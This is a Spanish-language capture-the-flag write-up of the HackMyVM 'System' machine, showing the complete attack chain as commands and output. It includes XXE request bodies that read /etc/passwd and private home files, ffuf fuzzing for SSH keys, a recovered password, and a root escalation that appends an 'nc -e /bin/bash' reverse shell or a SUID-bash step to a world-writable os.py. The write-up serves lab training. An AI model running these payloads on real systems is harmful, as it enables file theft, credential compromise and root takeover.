cd ~/blog

~/writeups/hmv/061-system.md

061 - System

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
XML External Entity (XXE)Python Library Hijacking
hackmyvm.eu/machines/machine.php?vm=System

~2 min de lectura


Reconocimiento

Identificamos la IP de la máquina víctima en la red local:

❯ arp-scan --interface=wlo1 --localnet | grep PCS
192.168.1.44	08:00:27:2c:a2:91	PCS Systemtechnik GmbH

Enumeración de servicios

El escaneo completo identifica SSH y HTTP. Un segundo escaneo consulta versiones y scripts únicamente sobre esos puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.44
Starting Nmap 7.97 ( https://nmap.org ) at 2025-07-27 21:29 -0400
Nmap scan report for 192.168.1.44
Host is up (0.00021s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:2C:A2:91 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.95 seconds
❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.44
Starting Nmap 7.97 ( https://nmap.org ) at 2025-07-27 21:30 -0400
Nmap scan report for 192.168.1.44
Host is up (0.00037s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 27:71:24:58:d3:7c:b3:8a:7b:32:49:d1:c8:0b:4c:ba (RSA)
|   256 e2:30:67:38:7b:db:9a:86:21:01:3e:bf:0e:e7:4f:26 (ECDSA)
|_  256 5d:78:c5:37:a8:58:dd:c4:b6:bd:ce:b5:ba:bf:53:dc (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: HackMyVM Panel
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.10 seconds

XML External Entity (XXE)

El sitio presenta un formulario de registro. En su código fuente, el botón submit llama a XMLFunction, lo que indica que el navegador construye datos XML antes de enviarlos:

...
<input type="submit" value="Register" onclick="XMLFunction()" />
...

Interceptamos una solicitud legítima con Burp Suite para conservar la ruta, el formato y los nombres de los elementos que espera la aplicación:

POST /magic.php HTTP/1.1
Host: 192.168.1.44
Content-Length: 102
Accept-Language: es-419,es;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://192.168.1.44
Referer: http://192.168.1.44/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

<?xml version="1.0" encoding="UTF-8"?>
<details>
<email>admin</email>
<password>asdf</password>
</details>

Comprobamos una XML External Entity (XXE). El DTD declara una entidad externa llamada pwned cuyo identificador SYSTEM apunta a file:///etc/passwd. Cuando el parser vulnerable resuelve &pwned;, lee el archivo con los permisos del proceso web e inserta su contenido en el campo email, que después aparece en la respuesta:

POST /magic.php HTTP/1.1
Host: 192.168.1.44
Content-Length: 102
Accept-Language: es-419,es;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://192.168.1.44
Referer: http://192.168.1.44/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE results [
  <!ENTITY pwned SYSTEM "file:///etc/passwd">
]>
<details>
  <email>
    &pwned;
  </email>
  <password>
    asdf
  </password>
</details>

El contenido recuperado descubre al usuario david:

root:x:0:0:root:/root:/bin/bash
david:x:1000:1000::/home/david:/bin/bash

Creamos una plantilla de la solicitud y sustituimos únicamente el nombre de archivo por FUZZ. FFUF repite la misma XXE sobre candidatos del home de david y filtra con -fs 85 la respuesta base, de modo que los tamaños distintos señalan lecturas potencialmente válidas:

❯ cat xxe-template.xml
POST /magic.php HTTP/1.1
Host: 192.168.1.44
Content-Length: 176
Accept-Language: es-419,es;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://192.168.1.44
Referer: http://192.168.1.44/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE results [
  <!ENTITY pwned SYSTEM "file:///home/david/FUZZ">
]>
<details>
  <email>&pwned;</email>
  <password>admin</password>
</details>
❯ ffuf -request xxe-template.xml -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/quickhits.txt -u http://192.168.1.44/magic.php -X POST -H "Content-Type: application/xml" -fs 85
...
.profile                [Status: 200, Size: 892, Words: 138, Lines: 28, Duration: 19ms]
.ssh/id_rsa             [Status: 200, Size: 2687, Words: 17, Lines: 39, Duration: 16ms]
.ssh/id_rsa.pub         [Status: 200, Size: 653, Words: 13, Lines: 2, Duration: 16ms]
.viminfo                [Status: 200, Size: 786, Words: 90, Lines: 39, Duration: 15ms]
...

Verificamos los hallazgos. .viminfo no contiene la contraseña, pero registra la ruta de un archivo abierto anteriormente: /usr/local/etc/mypass.txt. Una segunda lectura XXE recupera su contenido:

<!DOCTYPE results [<!ENTITY pwned SYSTEM "file:///home/david/.viminfo">]>
...

'0  1  3  /usr/local/etc/mypass.txt
...
<!DOCTYPE results [<!ENTITY pwned SYSTEM "file:///usr/local/etc/mypass.txt">]>
...
h4ck3rd4v!d
...

Acceso SSH

La contraseña recuperada permite conectarnos como david y obtener la primera flag:

❯ ssh david@192.168.1.44
david@192.168.1.44\'s password: h4ck3rd4v!d
Linux system 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jul 27 23:36:27 2025 from 192.168.1.5
david@system:~$

Enumeración local

Para buscar tareas privilegiadas observamos procesos con pspy, que permite detectar ejecuciones periódicas sin requerir privilegios especiales.

Luego de un tiempo, vemos que hay una tarea programada para ejecutar un script en Python:

david@system:/tmp$ wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64

david@system:/tmp$ chmod +x pspy64
david@system:/tmp$ ./pspy64
...
2025/07/27 23:41:01 CMD: UID=0     PID=945    | /bin/sh -c /usr/bin/python3.9 /opt/suid.py
...

La salida muestra que root ejecuta /opt/suid.py con Python 3.9. El script no es escribible por david, así que inspeccionamos tanto su contenido como los módulos que importa:

david@system:/tmp$ ls -l /opt/suid.py
-rw-r--r-- 1 root root 563 Apr  2  2022 /opt/suid.py

Listamos su contenido:

david@system:/tmp$ cat /opt/suid.py
from os import system
from pathlib import Path

# Reading only first line
try:
    with open('/home/david/cmd.txt', 'r') as f:
        read_only_first_line = f.readline()
    # Write a new file
    with open('/tmp/suid.txt', 'w') as f:
        f.write(f"{read_only_first_line}")
    check = Path('/tmp/suid.txt')
    if check:
        print("File exists")
        try:
            os.system("chmod u+s /bin/bash")
        except NameError:
            print("Done")
    else:
        print("File not exists")
except FileNotFoundError:
    print("File not exists")

Aunque el script contiene una llamada inválida a os.system después de importar sólo system, esa rama no es necesaria para explotar el flujo. Lo importante es que Python carga primero el módulo estándar os; comprobamos si el archivo importado es modificable:

david@system:/tmp$ find / -name os.py 2>/dev/null
/usr/lib/python3.9/os.py

david@system:/tmp$ ls -l /usr/lib/python3.9/os.py
-rw-rw-rw- 1 root root 39063 Apr  2  2022 /usr/lib/python3.9/os.py

Python Library Hijacking

/usr/lib/python3.9/os.py tiene permisos 666, por lo que david puede alterar una librería que posteriormente importa el proceso de root. Esto habilita Python Library Hijacking: el código añadido en el nivel superior del módulo se ejecuta durante el import, antes de que continúe /opt/suid.py, y hereda UID 0.

Una variante añade una reverse shell al final de la librería:

david@system:/tmp$ cat /usr/lib/python3.9/os.py | tail -n 4
def pwned():
    import subprocess
    subprocess.run(["nc","-e","/bin/bash","192.168.1.5","1234"])
pwned()
❯ ncat -nlvp 1234
Ncat: Version 7.97 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.44:54598.
script /dev/null -c bash
Script started, output log file is '/dev/null'.

root@system:~#

Otra variante hace persistente la primitiva local asignando SUID a /bin/bash:

david@system:/tmp$ cat /usr/lib/python3.9/os.py | tail -n 4
def pwned():
    import subprocess
    subprocess.run(["chmod","u+s","/bin/bash"])
pwned()
david@system:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1234376 Aug  4  2021 /bin/bash

david@system:/tmp$ bash -p
bash-5.1# whoami
root

Obtenemos nuestra flag y fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados